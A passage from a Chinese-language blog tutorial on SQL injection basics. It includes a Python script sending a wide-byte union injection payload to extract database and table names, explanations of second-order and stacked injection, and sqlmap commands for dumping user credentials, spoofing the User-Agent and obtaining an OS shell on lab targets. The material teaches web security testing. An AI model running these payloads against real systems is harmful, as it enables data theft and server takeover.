return re.sub(pattern, replacer, s)


def get_data(query_data):
query_data = replace_with_hex(query_data)
html_content = requests.get(f"{url}?id=-1%d8' union select 1,({query_data}),3%23").text
print(html_content)
return re.search(r'Your Login name:([^<\s]+)', html_content).group(1)


database = get_data('database()')
comumn_names = get_data(f"select group_concat(table_name) from information_schema.tables where table_schema='{database}'")
print(comumn_names)

二次注入

二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到 SQL 查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当 Web 程序调用存储在数据库中的恶意数据并执行 SQL 查询时,就发生了 SQL 二次注入。

在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身还是脏数据。

在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。

二次注入的过程:

  • 先构造语句(此语句含有被转义字符的语句,如 mysql_escape_stringmysql_real_escape_string 转义)
  • 将我们构造的恶意语句存入数据库(被转义的语句)
  • 第二次构造语句(结合前面已被存入数据库的语句构造。因为系统没有对已存入的数据做检查,成功注入)

堆叠注入

在 SQL 中, 分号(;) 是用来表示一条 sql 语句的结束。堆叠注入就是利用分号分隔语句实现多条 sql 语句的执行。

堆叠注入的使用条件十分有限,其可能受到 API 或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条 sql 语句时才能够使用,利用 mysqli_multi_query() 函数就支持多条 sql 语句同时执行,但实际情况中,如 PHP 为了防止 sql 注入机制,往往使用调用数据库的函数是 mysqli_ query() 函数,其只能执行一条语句,分号后
面的内容将不会被执行。

简单总结下来就是:

  • 目标存在 sql 注入漏洞。
  • 目标未对 ; 号进行过滤。
  • 目标查询数据库信息时可同时执行多条 sql 语句。

sqlmap 使用

GET 型注入

注入点在 URL 里称之为 GET 型注入。

单目标

1
2
sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1"
sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1&page=10" -p page --batch
  • -u:指定 URL
  • -p:指定注入点
  • --batch:自动化测试,需要选择全部默认Y(注入过程可能比较久)
1
2
3
sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --dbs
sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security --tables
sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security -T users --columns
  • --dbs:获取数据库名
  • --tables:获取数据库表名
  • --columns:获取字段名
1
2
sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D security -T users -C
id,username,password --dump
  • --dump:拖库

多目标

把要测试的 URL 保存在 txt 里,然后使用 -m 参数执行 txt 。

1
sqlmap.py -m test.txt

需要登录

1
sqlmap.py –u http://test.com/index.php?id=1 --cookie "name=xxx;sessid=abc" –dbs
  • --cookie:要测试的页面只有在登录状态下才能访问,登录状态用 cookie 识别。

GET 型注入 ua 头会带有明显的 Sqlmap 标识,可以使用 --random-agent 参数随机使用 User-agent 头,也可以自己指定 ua 头。

1
sqlmap.py -u http://test.com/index.php?id=1 --user-agent="Mozilla/4.0(compatible; MSIE 6.0; Windows NT 5.0; de) Opera 8.0"

POST 型注入

注入点在 POST 数据里称之为 POST 型注入。

将请求包抓取并保存到 txt 里

1
sqlmap.py –r test.txt –p uname
  • -r:指定目标文件

head 头注入

SQLmap 默认测试所有的 GET 和 POST 参数,当 --level 的值大于等于 2 的时候也会测试 HTTP Cookie 头的值,当大于等于 3 的时候也会测试 User-Agent 和 HTTP Referer 头的值。最高可到 5 。

1
sqlmap.py -u http://127.0.0.1/sqli/Less-20/index.php --cookie "uname=Dumb" --level 2 --dbs
  • --level:指定测试等级
  • --os-shell:获取目标操作系统控制权,前提:
    • root 权限
    • secure_file_priv 配置为空(在 my.ini 里查看)
    • 知道网站的绝对路径
    • 有写的权限
  • Title: SQL 注入基础
  • Author: sky123
  • Created at : 2024-11-11 23:28:16
  • Updated at : 2025-08-19 01:13:24
  • Link: https://skyi23.github.io/2024/11/11/SQL 注入基础/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments